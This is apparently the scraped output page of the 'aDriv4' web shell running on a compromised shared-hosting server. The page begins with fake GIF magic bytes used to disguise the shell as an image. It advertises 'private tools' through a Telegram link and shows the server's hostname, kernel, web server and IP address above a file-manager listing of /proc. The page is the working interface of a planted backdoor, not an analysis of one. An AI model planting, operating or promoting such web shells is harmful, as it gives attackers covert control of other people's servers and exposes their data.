GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium133.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
 LiteSpeed
 162.0.232.69
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-06-24 09:23:10
.. dir - root/root 0755 2025-08-05 06:44:59
1424086 dir - mboniqkj/mboniqkj 0555 2026-01-01 10:31:09
1424147 dir - mboniqkj/mboniqkj 0555 2026-01-01 10:31:09
2998374 dir - mboniqkj/mboniqkj 0555 2026-01-01 10:31:01
3016877 dir - mboniqkj/mboniqkj 0555 2026-01-01 10:31:01
3042170 dir - mboniqkj/mboniqkj 0555 2026-01-01 10:31:04
3043302 dir - mboniqkj/mboniqkj 0555 2026-01-01 10:31:04
3052375 dir - mboniqkj/mboniqkj 0555 2026-01-01 10:31:28
3056215 dir - mboniqkj/mboniqkj 0555 2026-01-01 10:32:24
3056291 dir - mboniqkj/mboniqkj 0555 2026-01-01 10:32:24
3059777 dir - mboniqkj/mboniqkj 0555 2026-01-01 10:32:00
3066240 dir - mboniqkj/mboniqkj 0555 2026-01-01 10:32:24
acpi dir - root/root 0555 2025-06-24 09:23:13
bus dir - root/root 0555 2025-06-24 09:23:22
driver dir - root/root 0555 2026-01-01 10:32:24
fs dir - root/root 0555 2025-06-24 09:23:22
irq dir - root/root 0555 2025-06-24 09:23:22
kcare dir - root/root 0555 2026-01-01 10:32:24
lve dir - root/root 0555 2026-01-01 10:31:09
net link - mboniqkj/mboniqkj 0555 2026-01-01 10:32:24
scsi dir - root/root 0555 2025-06-24 09:23:22
self link - mboniqkj/mboniqkj 0555 2026-01-01 10:31:01
sys dir - root/root 0555 2025-06-24 09:23:11
sysvipc dir - root/root 0555 2026-01-01 10:32:24
thread-self link - mboniqkj/mboniqkj 0555 2026-01-01 10:32:19
tty dir - root/root 0555 2026-01-01 10:32:24
buddyinfo 0 B root/root 0444 2026-01-01 10:32:24
cgroups 0 B root/root 0444 2026-01-01 10:32:24
cmdline text/plain 0 B root/root 0444 2026-01-01 10:32:19
consoles 0 B root/root 0444 2026-01-01 10:32:24
cpuinfo text/plain 0 B root/root 0444 2026-01-01 10:32:19
crypto 0 B root/root 0444 2026-01-01 10:32:24
devices 0 B root/root 0444 2026-01-01 10:32:24
diskstats 0 B root/root 0444 2026-01-01 10:32:24
dma 0 B root/root 0444 2026-01-01 10:32:24
execdomains 0 B root/root 0444 2026-01-01 10:32:24
fb 0 B root/root 0444 2026-01-01 10:32:24
filesystems text/plain 0 B root/root 0444 2026-01-01 10:30:20
interrupts 0 B root/root 0444 2026-01-01 10:32:24
iomem 0 B root/root 0444 2026-01-01 10:32:24
ioports 0 B root/root 0444 2026-01-01 10:32:24
kallsyms 0 B root/root 0444 2025-06-24 09:23:22
kcore 128 TB root/root 0400 2025-06-24 09:23:13
key-users 0 B root/root 0444 2026-01-01 10:32:24
keys 0 B root/root 0444 2026-01-01 10:32:24
kmsg 0 B root/root 0400 2026-01-01 10:32:24
kpagecgroup 0 B root/root 0400 2026-01-01 10:32:24
kpagecount 0 B root/root 0400 2026-01-01 10:32:24
kpageflags 0 B root/root 0400 2026-01-01 10:32:24
loadavg text/plain 0 B root/root 0444 2026-01-01 10:32:24
locks 0 B root/root 0444 2026-01-01 10:32:24
mdstat 0 B root/root 0444 2026-01-01 10:32:24
meminfo text/plain 0 B root/root 0444 2026-01-01 10:31:03
misc 0 B root/root 0444 2026-01-01 10:32:24
modules 0 B root/root 0444 2026-01-01 10:32:24
mounts text/plain 0 B mboniqkj/mboniqkj 0444 2026-01-01 10:32:24
mtrr 0 B root/root 0644 2025-06-24 09:23:22
pagetypeinfo 0 B root/root 0400 2026-01-01 10:32:24
partitions 0 B root/root 0444 2026-01-01 10:32:24
sched_debug 0 B root/root 0444 2026-01-01 10:32:24
schedstat 0 B root/root 0444 2026-01-01 10:32:24
slabinfo 0 B root/root 0400 2026-01-01 10:32:24
softirqs 0 B root/root 0444 2026-01-01 10:32:24
stat text/plain 0 B root/root 0444 2026-01-01 10:24:28
swaps 0 B root/root 0444 2025-06-24 09:23:11
sysrq-trigger 0 B root/root 0200 2025-06-24 09:23:22
timer_list 0 B root/root 0400 2026-01-01 10:32:24
uptime text/plain 0 B root/root 0444 2026-01-01 10:31:03
version text/plain 0 B root/root 0444 2026-01-01 10:32:24
vmallocinfo 0 B root/root 0400 2026-01-01 10:32:24
vmstat 0 B root/root 0444 2026-01-01 10:32:24
zoneinfo 0 B root/root 0444 2026-01-01 10:32:24
© aDriv4